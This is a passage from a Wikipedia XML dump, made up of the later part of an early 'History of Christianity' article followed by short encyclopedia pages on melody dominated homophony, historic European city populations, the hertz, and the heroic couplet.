In the second century, conventionally educated converts began to produce two kinds of writings that help us understand the developing shapes of Christianity - works aimed at a broad audience of educated non-Christians, and works aimed at those who considered themselves inside the Church.  The writing for non-Christians is usually called ''apologetic'' in the same sense that the speech given by [[Socrates]] in his defense before the Athenian assembly is called his ''Apology'' - the word in [[Greek language|Greek]] meant &quot;speech for the defense&quot; rather than the modern more limited denotation of &quot;statement expressing regret&quot;.  The Apologists, as these authors are sometimes known, made a presentation for the educated classes of the beliefs of Christians, often coupled with an attack on the beliefs and practices of the pagans.  Other writings had the purpose of instructing and admonishing fellow Christians.  Many writings of this period, however, succumbed to destruction from the Early Catholic Church as heretical, or in disagreement with their message.  Thus, today we are surprised by such findings as the [[Gospel of Thomas]] in 1945.

*[[Polycarp]] (bishop of [[Smyrna]] and saint)
*[[Melito of Sardis]] a bishop who held several views that differ from the Church of Rome, even though it considers him to be a saint
*[[Irenaeus of Lyons|Irenaeus]] (bishop of [[Lyons]] and saint)
*[[Tertullian]] (became a schismatic in about 207 and became a [[Montanism|Montanist]])
*[[Marcion]] (considered by the Roman Catholic church to have been the most dangerous enemy they have ever had)
*[[Clement of Alexandria]] (bishop of Alexandria and saint)
*[[Origen]] (catechist and scholar, but some of his teachings were condemned in 588)
*The pagan revival of the third century
**[[Decius]]
**[[Cyprian]]

Many of the early writings are translated into English in the [[Ante-Nicene Fathers]] collection. A particularly useful text found in the collection, the [[Apostolic Constitutions]], documents much of early Christian thought. During this period church government began to take on a hierarchical form that matched the Roman government.

== Fourth century ==
Many of the writings from this period are translated into English in the [[Nicene and Post-Nicene Fathers]] books.

Development of the canon of scripture
*[[Bible]]
*[[Biblical canon]]

===Christianity legalized===
====Constantine I of the Roman Empire====
The Emperor [[Constantine I of the Roman Empire|Constantine I]] was, like emperors before him, high priest of the Mithraic religion. However, he was also interested in creating unity for the sake of ease of governance, and to this end he involved himself in a dispute between Christian groups over [[Arianism]], summoning the [[First Council of Nicaea]]; this [[ecumenical council|Council]] produced the [[Nicene Creed]].

Constantine mitigated some differences between orthodox Christianity and its main competitor, the official religion of ''Sol Invictus''. For example, he moved the date of celebration of Jesus' birth to December 25th (since this was the celebration date for the birth of Mithras and [[Bacchus]], and also the date of other winter solstice festivals such as [[Saturnalia]]). In addition, Constantine instituted use of the [[labarum|Chi-Rho symbol]], representative of Christianity, also alleged by some scholars to have had use as an [[obelism|obeloi]] for &quot;auspicious&quot; thus serving both Christian and non-Christian purpose simultaneously.

Critics of the merger of church and state point to this [[constantinian shift|shift]] of the beginning of the era of Constantinianism when Christianity and the will of God gradually came to be identified with the will of the ruling elite; and in some cases was little more than a religious justification for the exercise of power.

Popular legend holds that Constantine I was Christian; however, he never publicly recanted his position as high priest of Mithras Sol Invictus, and the only alleged occurrence of Constantine I converting was on his deathbed (as reported by later Church Fathers), which is impossible to verify. However, it was not that unusual for people in the fourth century to avoid fully converting to Christianity until quite late in life, because of the strong warnings against continuing in sin after having converted and the spiritual consequences thereof.

Shocked by these developments, the emperor [[Julian the Apostate]] (denoted &quot;the [[Apostate]]&quot; because of his rejection of Christianity and conversion to [[Mithraism]] and [[Neoplatonism]]) attempted to restore the former status among religions by eliminating the privileges (exemption from the heavy burden of taxation and tax collection duties for [[Christian]] clergy for example) given by former Roman Emperors like [[Constantine I]], forbidding one sect of Christians from persecuting another [[Christian]] sect and recalling bishops who had been banned for [[Arianism]], while encouraging both Judaism (including a failed attempt to rebuild the Temple of Jerusalem) and a sort of [[neo-paganism]].

Julian's opposition was short lived, as emperors such as [[Constantine II of the Roman Empire|Constantine II]] repealed Julian's actions and encouraged the growth of Christianity. This state of affairs was finally enforced by a series of decrees by the Nicene Christian emperor [[Theodosius I]], beginning in February of 381, and continuing throughout his reign.

==== Opposed by Byzantine emperors ====
* Saint [[Athanasius of Alexandria]] exiled from his bishopric in Alexandria at least five times for opposing Arianism.
* Saint [[John Chrysostom]] ([[Patriarch of Constantinople]]) dies in exile for criticizing the imperial court in his homilies.

==== Other material from this era ====
*[[Ambrose]] of Milan (bishop and saint)
*rise of desert [[monasticism]] (Saint [[Anthony the Great]], Saint [[Pachomius]])

=== Christological controversies ===
The [[Christological]] controversies include examinations of questions like the following.  

*Was Christ divine, human, a created angelic being, or beyond simple classification into one category?  
*Did Christ's miracles actually change physical reality or were they merely symbolic?  
*Did Christ's body actually arise from the dead or was the resurrected Christ a supernatural being not limited to a physical frame?

See also

*[[Arius]], [[Athanasius]]
*[[Diodore]], [[Saint Theodore|Theodore]] and [[Apollinarius]]
*[[Cyril of Alexandria]] and [[Nestorius]]
*The anti-[[Nestorianism|Nestorian]] council at [[Ephesus]] and the anti-[[Monophysitism|Monophysite]] reaction at the [[Council of Chalcedon]] in 451.
*The search for reconciliation and the heresy of one will ([[monothelitism]], the belief that Jesus Christ had one (divine) will as opposed to two wills, one divine and one human will). [[Fifth Ecumenical Council]] condemned monothelitism and failed to achieve the reconciliation desired by the Byzantine emperor.

== Dark and Middle Ages ==
=== Conversion of the Mediterranean world ===
*[[Augustine of Hippo]]
*[[Jerome]]

=== Developing Christianity outside the Mediterranean world ===
Christianity was not restricted to the Mediterranean basin and its hinterlands;  at the time of Jesus a large proportion of the Jewish population lived in Mesopotamia outside the Roman Empire, especially in the city of [[Babylon]], where much of the [[Talmud]] was developed.

*[[Saint Thomas Christians|Thomas Christians]] (Also known as [[Syro Malabar Christian]]s or [[Syrian Malabar Nasrani|Nasrani]]) established in [[India]] possibly as early as [[52]] and certainly before [[325]].
*[[Ethiopian Orthodox Tewahedo Church]]
*Christianity in the [[Sassanian Empire]]
*Christianity in [[Bosnia (region) | Bosnia]]
*Christianity comes to the [[British Isles]] whilst part of the Roman empire, lapses, then [[Christianity in the British isles 410-1066|returns]]).
**Christianity comes to [[Ireland]] (traditionally dated [[432]]) and the evolution of [[Celtic Christianity]]
**Irish missionaries and the spread of Christianity to Britain and Northern Europe
**The establishment of papal authority in Ireland after the [[Great Schism]]
*[[Nestorian]] Christians travel the [[Silk Road]] to establish a community in the [[Tang Dynasty]] capital of [[Chang'an]], building the [[Daqin Pagoda]] in [[640]]
* Christianity in [[Ethiopian Orthodox Church|Ethiopia]]

===The development of the Papacy===
*[[Pope]]
*[[Papacy]]
*[[Pope Damasus I|Damasus]]
*[[Pope Leo I|Leo]]
*[[Pope Gregory I|Gregory the Great]]
*[[Pope Boniface VIII]], and [[Unam Sanctam]]

=== Persecutions ===
*[[Crusade|Crusades]]
*[[Persecution of Christians]]
*[[Iconoclasm]]

=== Spread of Christianity to central and eastern Europe ===
* Saints [[Saint Cyril|Cyril]] and [[Saint Methodius|Methodius]] translated the Bible and liturgy into [[Old Church Slavonic|Church Slavonic]] in the 9th century
* The [[Baptism of Kiev]] in the 988 spread Christianity throughout [[Kievan Rus']], establishing the Eastern Christian identity of [[Ukraine]], [[Belarus]] and [[Russia]].

=== Church and state in the Medieval west ===
*[[Pope Gregory VII]] - Hildebrand
*[[Inquisition]] and [[Medieval inquisition]]
*[[Witchhunts]]

=== Schisms between East and West ===
*[[East-West Schism|Great Schism]]
** This was a long time in developing; key issues were the role of the Pope in Rome, and the [[filioque clause]]
** The &quot;official&quot; schism in 1054 was the excommunication of Patriarch [[Michael Cerularius]] of Constantinople, followed by his excommunication of the pope's representative.
** The personal excommunications were mutually rescinded by the Pope and the Patriarch of Constantinople in the 1960s, although the schism is not at all healed.

*[[Apostolic succession]]
**[[Eastern Orthodoxy]]
**[[Catholicism|Roman Catholicism]]

The Great Schism was between &quot;Roman Catholicism&quot; and &quot;Eastern Orthodoxy&quot;. Both place great weight on [[apostolic succession]], and historically both are descended from the early church. Each contends that it more correctly maintains the tradition of the early church and that the other has deviated. Roman Catholic Christians often prefer to refer to themselves simply as &quot;Catholic&quot; which means &quot;universal&quot;, and maintain that they are also orthodox. Eastern Orthodox Christians often prefer to refer to themselves simply as &quot;orthodox&quot;, which means &quot;right worship&quot;, and also call themselves Catholic. Initially, the schism was primarily between East and West, but today both have congregations all over the world. They are still often referred to in those terms for historical reasons.

=== The later Middle Ages ===
*the [[Crusades]]
*the Conciliar Movement
*Christian Humanism
*end of the [[Byzantine Empire]] in 1453

=== Early America ===
*[[Conquistador]]s
*[[Santería]], a fusion of Catholicism with traditional west African religious traditions originally among slaves

== The Protestant Reformation and Catholic Counter-Reformation ==
The [[Protestant Reformation]] and [[Catholic Reformation|Catholic Counter-Reformation]] are related in the following:
*the role of [[Johann Gutenberg]]'s printing press in the spread of religious dissent
*[[Martin Luther]]
*[[John Calvin]] and [[Calvinism]]
*[[King James Version]]
*[[Council of Trent]]
*[[Thirty Years' War]]
*[[Inquisition]]
*[[Radical Reformation]] and the [[Anabaptist|Anabaptists]]
**[[Amish]], [[Hutterites]], [[Mennonites]]

===Protestantism and the Rise of Denominationalism===
:''Discusses the rise of [[Protestantism]] and the major [[Denominationalism|denominations]] after the Reformation, and the challenges faced by Catholicism.''

:''Lots missing here.''
*The earliest controversies resurface in new forms
*[[Baptist|Baptist Churches]]
*[[Presbyterian Church]]
*[[Anglican Church]]
*[[John Wesley]] and the [[Methodism|Methodist movement]]
**[[Francis Asbury]], [[Thomas Coke (Methodist)|Thomas Coke]] and [[United Methodist Church|American Methodism]]
*[[First Great Awakening]]
*[[Pentecostal]]
*[[Lutheran Church]]
*[[Brethren]]
*The [[Puritan]]s
*The [[Quaker history|Religious Society of Friends]], or Quakers
*[[Nonconformists]]
*The [[English Civil War]]
*Congress of Religions, 1893
*[[Welsh Methodist revival]]

== 19th century ==
*Catholic Resurgence in Romantic Europe
*Anglo-Catholic or [[Oxford Movement]] in the Church of England
*Missionaries and Colonialism
*[[Friedrich Schleiermacher]] and [[Liberal Christianity]]

==== Second Great Awakening and Restorationism ====
*[[Second Great Awakening]]
*[[Restorationism]]
*[[Charles Grandison Finney]] and [[Revivalism]]
*[[Holiness movement]] in the U. S. and [[Higher Life movement]] in Britain
*[[Restoration Movement|Campbellites or Stone-Campbell Churches]]
**The [[Christian Church (Disciples of Christ)]]
**The [[Church of Christ]] Movement in [[Britain]] and the [[United States|US]]
*[[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]]
*[[Millerites]]
**[[Seventh-day Adventist Church]]
*[[Jehovah's Witnesses]]

=== Anti-clericalism and atheistic communism ===
In many revolutionary movements the church was associated with the established repressive regimes.  Thus, for example, after the [[French Revolution]] and the [[Mexican Revolution]] there was a distinct [[anti-clericalism|anti-clerical]] tone in those countries that exists to this day. On a more extreme level, [[Karl Marx]] condemned religion as the &quot;[[opium of the people]]&quot; [http://www.baylor.edu/~Scott_Moore/texts/Marx_Opium.html] and the [[Marxism-Leninism|Marxist-Leninist]] governments of the twentieth century were generally atheistic; of these, only [[Albania]] officially declared itself to be an atheistic state. All of these Marxist governments repressed the exercise of religion in varying degrees.

== 20th century ==
Christianity in the 20th century was characterized by accelerating fragmentation. The century saw the rise of both liberal and conservative splinter groups, as well as a general secularization of Western society. The Roman Catholic Church instituted many reforms in order to modernize. Missionaries also made inroads in the [[Far East]], establishing further followings in [[China]], [[Taiwan]], and [[Japan]]. At the same time, persecution in Communist Eastern Europe and the Soviet Union brought many Eastern Orthodox Christians to Western Europe and the United States, leading to greatly increased contact between Western and Eastern Christianity.  In addition, [[Christian ecumenism]] grew in importance, beginning at the [[Edinburgh Missionary Conference]] in 1910.

===Catholic reforms===
* [[Second Vatican Council]]
* [[Christian ecumenism|Ecumenical initiatives]]
** Anathemas (excommunications) from the [[East-West Schism|Great Schism]] mutually revoked by the [[Pope]] and the [[Patriarch of Constantinople]]
** [[Pope John Paul II]]

===Protestant developments===
Another movement which has grown up over the 20th century has been [[Christian anarchism]] which rejects the church, state or any power other than God.  They also believe in absolute [[nonviolence]].  [[Leo Tolstoy]]'s book ''[[The Kingdom of God is Within You]]'' [http://www.kingdomnow.org/withinyou.html] published in 1894 is believed to be the catalyst for this movement.

The 1950's saw a boom in the Evangelical church in America.  The post World War II prosperity experienced in the U.S. also had its effects on the church.  Although simplistically referred to as &quot;morphological fundamentalism&quot;, the phrase nonetheless does accurately describe the physical developments experienced.  Church buildings were erected in large numbers, and the Evangelical church's activities grew along with this expansive physical growth.

====Pentecostal movement====
Another noteworthy development in 20th century Christianity was the rise of the modern [[Pentecostal]] movement.  Although its roots pre-date the year 1900, its actual birth is commonly attributed to the 20th century.  Sprung from Methodist and Wesleyan roots, it arose out of the meetings at an urban mission on Azusa Street in Los Angeles.  From there it spread around the world, carried by those who experienced what they believed to be miraculous moves of God there.  These Pentecost-like manifestations have steadily been in evidence throughout the  history of Christianity- such as seen in the two Great Awakenings that started in the United States.  However, Azusa Street is widely accepted as the fount of the modern Pentecostal movement. Pentecostalism, which in turn birthed the [[Charismatic|Charismatic movement]] within already established denominations, continues to be an important force in western Christianity.

==== Modernism and the fundamentalist reaction ====
{{main articles|[[Liberal Christianity]] and [[Christian fundamentalism]]}}

As the more radical implications of the scientific and cultural influences of the [[Age of Enlightenment|Enlightenment]] began to be felt in the Protestant churches, especially in the 19th century, [[Liberal Christianity]] sought to bring the churches alongside of the broad revolution that Modernism represented.  In doing so, new critical approaches to the Bible were developed, new attitudes became evident about the role of religion in society, and a new openness to questioning the nearly universally accepted definitions of Christian orthodoxy began to become obvious.

In reaction to these developments, Christian fundamentalism was a movement to reject the radical influences of philosophical humanism, as this was affecting the Christian religion. Especially targeting critical approaches to the interpretaton of the Bible, and trying to blockade the inroads made into their churches by atheistic scientific assumptions, the fundamentalists began to appear in various denominations as numerous independent movements of resistance to the drift away from historic Christianity.  Over time, the Fundamentalist Evangelical movement has divided into two main wings, with the label ''Fundamentalist'' following one branch, while ''Evangelical'' has become the preferred banner of the more moderate movement.  Although both movements primarily originated in the English speaking world, the majority of Evangelicals are now elsewhere.

==== Evangelicalism ====
In the U.S. and elsewhere in the world, there has been a marked rise in the [[Evangelicalism|evangelical]] wing of [[Protestant]] denominations, especially those that are more exclusively evangelical, and a corresponding decline in the mainstream liberal churches. In the post-World War I era, [[Liberal Christianity|Liberalism]] was the faster growing sector of the American church.  Liberal wings of denominations were on the rise, and a considerable number of seminaries held and taught from a liberal perspective as well.  In the post-World war II era, the trend began to swing back towards the conservative camp in America's seminaries and church structures. Those entering seminaries and other post-graduate theologically related programs have shown more conservative leanings than their average predecessors.

The [[Neo-evangelicalism|neo-Evangelical]] push of the 1940's and 1950's produced a movement that continues to have wide influence.  In the southern U.S., the more moderate neo-Evangelicals, represented by leaders such as [[Billy Graham]], have experienced a notable surge displacing the caricature of the pulpit pounding country preachers of fundamentalism.  The stereotypes have gradually shifted. Some, such as Jerry Falwell, have managed to maintain credibility in the eyes of many fundamentalists, as well as to gain stature as a more moderate Evangelical.

Evangelicalism is not a single, monolithic entity. The Evangelical churches and their adherents cannot be easily stereotyped.  Most are not Fundamentalist, in the narrow sense that this term has come to represent; though many still refer to themselves as such.  There have always been diverse views on issues, such as openness to cooperation with non-Evangelicals, the applicability of the Bible to political choices and social or scientific issues, and even the limited inerrancy of the Bible.

However, the movement has managed in an informal way, to reserve the name ''Evangelical'' for those who adhere to an historic Christian faith, a ''paleo-orthodoxy'', as some have put it.  Those who call themselves &quot;moderate evangelicals&quot;(although considered conservative in relation to society as a whole) still hold fast to the fundamentals of the historic Christian faith.  Even &quot;Liberal&quot; Evangelicals label themselves as such not so much in terms of their theology, but rather to advertise that they are progressive in their civic, social, or scientific perspective.  

There is some debate as to whether [[Pentecostal]]s are considered to be Evangelical.  Their roots in [[Pietism]] and the [[Holiness movement]] are undisputedly Evangelical, but their doctrinal distinctives differ from the more traditional Evangelicals, who are less likely to have an expectation of private revelations from God, and differ from the Pentecostal perspective on [[miracles]], [[angels]] and [[demons]]. Typically, those who include the Pentecostals in the Evangelical camp are labeled ''neo-evangelical'' by those who do not.  The [[National Association of Evangelicals]] has numerous trinitarian Pentecostal denominations among their membership.  Another relatively late entrant to wide acceptance within the Evangelical fold is the [[Seventh-day Adventist Church]].

Evangelicals are as diverse as the names that appear- Billy Graham, [[Chuck Colson]], J. Vernon McGee, [[Benny Hinn]], [[J.I. Packer]], [[John Stott|John R.W. Stott]], [[Pat Robertson]], [[Jimmy Carter]], etc.- or even Evangelical institutions such as Dallas Theological Seminary (dispensationalist), Gordon-Conwell Theological Seminary (Calvinist, Boston), [[Trinity Evangelical Divinity School]] (Chicago), Wheaton College (Illinois), the Christian Coalition, The Christian Embassy (Jerusalem), etc. Although there exists a diversity in the Evangelical community worldwide, the ties that bind all Evangelicals are still apparent.  A &quot;high view&quot; of Scripture, belief in the Deity of Christ, the Trinity, salvation by grace through faith, and the bodily resurrection of Christ, to mention a few.  

There has also been a polarization of the [[Anglican Communion]] worldwide chiefly because of actions taken by some Anglicans and Episcopalians in the U.S. and Canada.

====10/40 Window====
Evangelicals defined and prioritized efforts to reach the &quot;unreached&quot; in the late 20th and early 21st centuries to focus on countries roughly between 10 north and 40 degrees south latitude.  This area is mostly dominated by Muslim nations, many who do not allow missionaries of other religions to enter their countries.

=== Spread of secularism ===
In [[Europe]] there has been a general move away from religious observance and belief in Christian teachings and a move towards [[secularism]].  The &quot;secularization of society&quot;, attributed to the time of the Renaissance and its following years, is largely responsible for the spread of secularism.  For example the Gallup International Millennium Survey[http://www.gallup-international.com/survey15.htm] showed that only about one sixth of Europeans attend regular religious services, less than half gave God &quot;high importance&quot;, and only about 40% believe in a &quot;personal God&quot;.  Nevertheless the large majority considered that they &quot;belong&quot; to a [[religious denomination]]. Numbers show that the &quot;de-Christianization&quot; of Europe has slowly begun to swing in the opposite direction.  Renewal in certain quarters of the Anglican church, as well as in pockets of Protestantism on the continent attest to this initial reversal of the secularization of Europe, the continent in which Christianity originally took its strongest roots and world expansion.

In [[North America]], [[South America]] and [[Australia]], the other three continents where Christianity is the dominant professed religion, religious observance is much higher than in Europe.  At the same time, these regions are often seen by other nations as being uptight and &quot;Victorian&quot;, in their social mores.  In general, the United States leans toward the conservative in comparison to other western nations in its general culture, in part due to the Christian element found primarily in its mid-western and southern states. 

South America, historically Catholic, has experienced a large Evangelical and Pentecostal infusion in the 20th Century due to the influx of Christian missionaries from abroad.  For example: [[Brazil]], South America's largest country, is the largest Catholic country in the world, and at the same time is the largest Evangelical country in the world (based on population).  Some of the largest Christian congregations in the world are found in Brazil.   

Australia has seen renewal in different parts of her Anglican Church, as well as a growing presence of an Evangelical community.  Although more &quot;traditional&quot; in its Anglican roots, the nation has seen growth in its religious sector. Some of its religious programming is even exported via satellite.

== 21st century ==
*[[Emerging Church]]
*[[Paleo-Orthodoxy]]
*[[Christianity and Islam]]
*[[Homosexuality and Christianity]]

==Historiography==
Noted historians of Christianity include:
* [[Eusebius]]
* [[Gregory of Tours]]
* [[Caesar Baronius]]
* [[Isaac Casaubon]]
* [[Edward Gibbon]]

==See also==
*[[History of the Roman Catholic Church]]
*[[Revival (religious)]]
*[[Timeline of Christianity]]
*[[Esoteric Christianity]] Christian religion as a Mystery religion
*[[Jesus in the Christian Bible]]
*[[Cultural and historical background of Jesus]]

==Print resources==
* {{cite book
 | last = Gonzales | first = Justo
 | title = The Story of Christianity: Vol. 1: The Early Church to the Reformation
 | location = San Francisco
 | publisher = Harper
 | year = 1984
 | id = ISBN 0060633158
 }}
* {{cite book
 | last = Gonzales | first = Justo
 | title = The Story of Christianity, Vol. 2: The Reformation to the Present Day
 | location = San Francisco
 | publisher = Harper
 | year = 1985
 | id = ISBN 0060633166
 }}
* {{cite book
 | last = Latorette | first = Kenneth Scott
 | title = A History of Christianity, Volume 1: Beginnings to 1500 (Revised)
 | year = 1975
 | location = San Francisco
 | publisher = Harper
 | id = ISBN 0060649526 (paperback)
 }}
* {{cite book
 | last = Latorette | first = Kenneth Scott
 | title = A History of Christianity, Volume 2
 | year = 1975
 | location = San Francisco
 | publisher = Harper
 | id = ISBN 0060649534 (paperback)
 }}
* {{cite book
 | last = Shelley | first = Bruce L.
 | year = 1996
 | title = Church History in Plain Language
 | edition = 2nd edition
 | id = ISBN 0849938619
 }}
* {{cite book
 | last = Hastings | first = Adrian
 | year = 1999
 | title = A World History of Christianity
 | publisher = Wm. B. Eerdmans Publishing
 | id = ISBN 0802849753
 }}

==External links==
The following links give an overview of the history of Christianity:
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-49 ''Dictionary of the History of Ideas'':] Christianity in History
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-50 ''Dictionary of the History of Ideas'':] Church as an Institution
*[http://www.wikichristian.org/index.php?title=Church_history_and_denominations Church history at WikiChristian]

The following link provides quantitative data related to Christianity and other major religions, including rates of adherence at different points in time:
*[http://www.thearda.com American Religion Data Archive]
*[http://www.religiousbook.net/Books/Online_books/Sh/Heart_20.html Early Stages of the Establishment of Christianity]
*[http://www.theandros.com Theandros], a journal of Orthodox theology and philosophy, containing articles on early Christianity and patristic studies.

[[Category:Christian history]]
[[Category:Jewish Christian topics]]

[[cs:Dějiny církve]]
[[de:Christentumsgeschichte]]
[[es:Historia del cristianismo]]
[[fi:Kristinuskon historia]]
[[fr:Histoire du christianisme]]
[[it:Storia del Cristianesimo]]
[[ja:キリスト教の歴史]]
[[nl:Geschiedenis van het christendom]]
[[pl:Historia chrzescijaństwa]]
[[zh:基督教历史]]</text>
    </revision>
  </page>
  <page>
    <title>Hexamter</title>
    <id>14118</id>
    <revision>
      <id>15911695</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Hexameter]]
</text>
    </revision>
  </page>
  <page>
    <title>Melody dominated homophony</title>
    <id>14119</id>
    <revision>
      <id>28675605</id>
      <timestamp>2005-11-18T15:37:55Z</timestamp>
      <contributor>
        <username>Celestianpower</username>
        <id>240556</id>
      </contributor>
      <minor />
      <comment>fix doubke word</comment>
      <text xml:space="preserve">'''Melody dominated homophony''' is [[music]] in which the top line has a dominant [[melody]] in a different [[rhythm]], and all the voices [[Accompaniment|accompany]] it with [[homophony|homophonic]] [[chord (music)|chord]]s.

This music has a distinct [[melody]] and [[harmony]].

Homophony is contrasted with [[polyphony]] (in which each voice is [[counterpoint|contrapuntally]] independent and equal) and [[monophony]] (in which there is only one voice).

Most [[popular music]] can be described as melody dominated homophony. This type of music could be considered a [[monody]], but this is generally applied to Italian song of the early 17th century.

== See also ==
* [[Texture (music)]]
* [[Homophony]]
* [[Monophony]]
* [[Polyphony]]
* [[Counterpoint]]

{{Music-theory-stub}}

[[de:Homofonie]]
[[eo:Homofonio]]
[[fr:homophonie]]
[[zh:&amp;#20027;&amp;#35843;&amp;#38899;&amp;#20048;]]

[[Category:Musical texture]]</text>
    </revision>
  </page>
  <page>
    <title>Historic list of cities of Europe</title>
    <id>14120</id>
    <revision>
      <id>40894031</id>
      <timestamp>2006-02-23T18:49:01Z</timestamp>
      <contributor>
        <username>Kelisi</username>
        <id>173996</id>
      </contributor>
      <comment>link update</comment>
      <text xml:space="preserve">The biggest towns in [[Europe]] in [[1700]] (population in brackets) :&lt;br&gt;
* [[London]] (500,000)
* [[Paris]] (400,000)
* [[Naples]] (215,000)
* [[Amsterdam]] (180,000)
* [[Moscow]] (150,000)
* [[Venice, Italy|Venice]] (138,000)
* [[Rome]] (130,000)
* [[Milan]] (120,000)
* [[Madrid]] (100,000)
* [[Vienna]] (100,000)
* [[Sarajevo]] (80,000)
* [[Gdańsk]] (77,000)

The biggest towns in Europe in [[1800]] (population in brackets) :&lt;br&gt;
* [[London]] (1,000,000)
* [[Paris]] (600,000)
* [[Naples]] (426,000)
* [[Moscow]] (400,000)
* [[Vienna]] (240,000)
* [[Amsterdam]] (220,000)
* [[St. Petersburg, Russia|Saint Petersburg]] (200,000)
* [[Dublin]] (200,000)
* [[Lisbon]] (180,000)
* [[Berlin]] (172,000)
* [[Warsaw]] (120,000) [[1792]]

:''See also :'' [[History of Europe]]

[[Category:History of Europe|Cities]]

[[sl:Zgodovinski seznam mest v Evropi]]</text>
    </revision>
  </page>
  <page>
    <title>Hertz</title>
    <id>14121</id>
    <revision>
      <id>41985720</id>
      <timestamp>2006-03-03T01:26:27Z</timestamp>
      <contributor>
        <username>Xee</username>
        <id>140091</id>
      </contributor>
      <minor />
      <comment>/* Explanation */ s/random/aperiodic/</comment>
      <text xml:space="preserve">:''See also the car rental company, [[The Hertz Corporation]], and [[Hertz (disambiguation)]].''

The '''hertz''' (symbol: Hz) is the [[SI]] unit of [[frequency]]. It is named in honor of the [[Germany|German]] physicist [[Heinrich Rudolf Hertz]] who made important scientific contributions to [[electromagnetism]]. In English, &quot;hertz&quot; is used in both singular and plural.

==Definition==

One hertz is defined as one cycle per [[second]].

:1 Hz = 1 s&lt;sup&gt;&amp;minus;1&lt;/sup&gt;

==SI multiples==
{{SI multiples|unit=hertz|symbol=Hz}}

==Explanation==
One hertz simply means &quot;one per [[second]]&quot; (1 / s); 100&amp;#160;Hz means &quot;one hundred per second&quot;, and so on. The unit may be applied to any periodic event &amp;ndash; for example, a clock might be said to tick at 1&amp;#160;Hz, or a human heart might be said to [[heart rate|beat]] at 1.2 Hz. Frequency of aperiodic events, such as radioactive decays, is expressed in [[becquerel]]s.

To avoid confusion, periodically varying angles are typically ''not'' expressed in hertz, but rather in an appropriate angular unit such as radians per second. A disc rotating at 1 revolution per minute (RPM) can thus be said to be rotating at 0.105&amp;nbsp;rad/s ''or'' 0.017&amp;nbsp;Hz, where the latter reflects the number of ''complete'' revolutions per second.

The name '''hertz''' was adopted by the [[CGPM]] (''Conférence générale des poids et mesures'') in 1960, replacing the previous name for the unit, ''cycles per second'' (cps), along with its related multiples, primarily ''kilocycles'' (kc) and  ''megacycles'' (Mc).  Hertz largely replaced cycles in common use by 1970.

&lt;!---
See the Talk page before putting this apparent garbage back in:
==Deeper Explanation==
Hertz (Hz) is a basic measurement of sound but is scientifically the name of high-low noise frequencies forming by the content of the electromagnetism the frequency contains. The lower the hertz, the deeper the level of noise, the higher the hertz, the louder (high-pitched) level of noise. The amount of content a frequency contains is summed by it's abundance of geometric pulsations the frequency holds. Therefore, the higher the pulsations, the more tighter the sound waves are bonded together. The lower the pulsations, the less the waves are bonded. Tight bonds create loud, high-pitched frequencies which do not travel far. Weak bonds create low frequencies that travel further because there would be more sound waves since they would not be bonded together as the tighter waves.
---&gt;

==See also==
*[[Acoustics]]
*[[Electromagnetic spectrum]]
*[[Radio frequency]]
*[[Wavelength]]
*[[Orders of magnitude (frequency)]]

[[Category:SI derived units]]
[[Category:Units of frequency]]
[[ar:هيرتز]]
[[bg:Херц]]
[[ca:Hertz]]
[[cs:Hertz]]
[[da:Hertz]]
[[de:Hertz (Einheit)]]
[[et:Herts]]
[[es:Hercio]]
[[eo:Herco]]
[[eu:Hertz]]
[[fi:Taajuus]]
[[fr:Hertz]]
[[gl:hertz]]
[[ko:헤르츠]]
[[ia:Hertz]]
[[id:Hertz]]
[[it:Hertz]]
[[he:הרץ]]
[[nl:Hertz]]
[[ja:ヘルツ (単位)]]
[[nn:hertz]]
[[no:hertz]]
[[pl:Herc]]
[[pt:Hertz]]
[[ro:hertz]]
[[ru:Герц (единица измерения)]]
[[sk:hertz]]
[[sl:Hertz]]
[[sr:Херц]]
[[sv:Hertz]]
[[tr:Hertz]]
[[zh:赫兹]]</text>
    </revision>
  </page>
  <page>
    <title>Heroic couplet</title>
    <id>14123</id>
    <revision>
      <id>40023047</id>
      <timestamp>2006-02-17T15:48:57Z</timestamp>
      <contributor>
        <ip>138.87.163.171</ip>
      </contributor>
      <text xml:space="preserve">A '''heroic couplet''' is a traditional form for [[English literature|English]] [[poetry]], commonly used for epic and narrative poetry; it refers to poems constructed from a sequence of rhyming pairs of [[iambic pentameter]] lines.

A frequently-cited example illustrating the use of heroic couplets is this passage from ''Cooper's Hill'' by [[John Denham (poet)|John Denham]], part of his description of the [[River Thames|Thames]]:

:O could I flow like thee, and make thy stream&lt;br&gt;
:My great example, as it is my theme!&lt;br&gt;
:Though deep, yet clear, though gentle, yet not dull,&lt;br&gt;
:Strong without rage, without o'erflowing full.

The term &quot;heroic couplet&quot; is sometimes reserved for couplets that are largely ''closed'' and self-contained, as opposed to the [[enjambment|enjambed]] couplets of poets like [[John Donne]]. The greatest masters of the heroic couplet in English, thus defined, are generally considered to be [[John Dryden]] and [[Alexander Pope]]. Major poems in the closed couplet, apart from the works of Dryden and Pope, are [[Samuel Johnson]]'s ''[[The Vanity of Human Wishes]]'', [[Oliver Goldsmith]]'s ''[[The Deserted Village]]'', and [[John Keats]]'s ''[[Lamia]]''. The form was immensely popular in the 18th century. The looser type of couplet, with occasional enjambment, was one of the standard verse forms in medieval narrative poetry, largely because of the influence of the [[Canterbury Tales]]. 

English heroic couplets, especially in Dryden and his followers, are sometimes varied by the use of the occasional [[alexandrine]], or hexameter line, and triplet. Often these two variations are used together to heighten a climax. The breaking of the regular pattern of rhyming pentameter pairs brings about a sense of [[poetic closure]].  Here are three examples from Book IV of Dryden's translation of the ''[[Aeneid]]''.

''Triplet''
:Nor let him then enjoy supreme command;
:But fall, untimely, by some hostile hand,  
:And lie unburied on the barren sand!
:(ll. 890-892)

''Alexandrine''
:Her lofty courser, in the court below,
:Who his majestic rider seems to know,  
:Proud of his purple trappings, paws the ground,  
:And champs the golden bit, and spreads the foam around.
:(ll. 190-193)

''Alexandrine and Triplet''
:My Tyrians, at their injur’d queen’s command,  
:Had toss’d their fires amid the Trojan band;  
:At once extinguish’d all the faithless name;  
:And I myself, in vengeance of my shame,
:Had fall’n upon the pile, to mend the fun’ral flame.
:(ll. 867-871)

[[Category:Poetic form]]</text>
    </revision>
  </page>
  <page>
    <title>Henry II of Saxony</title>
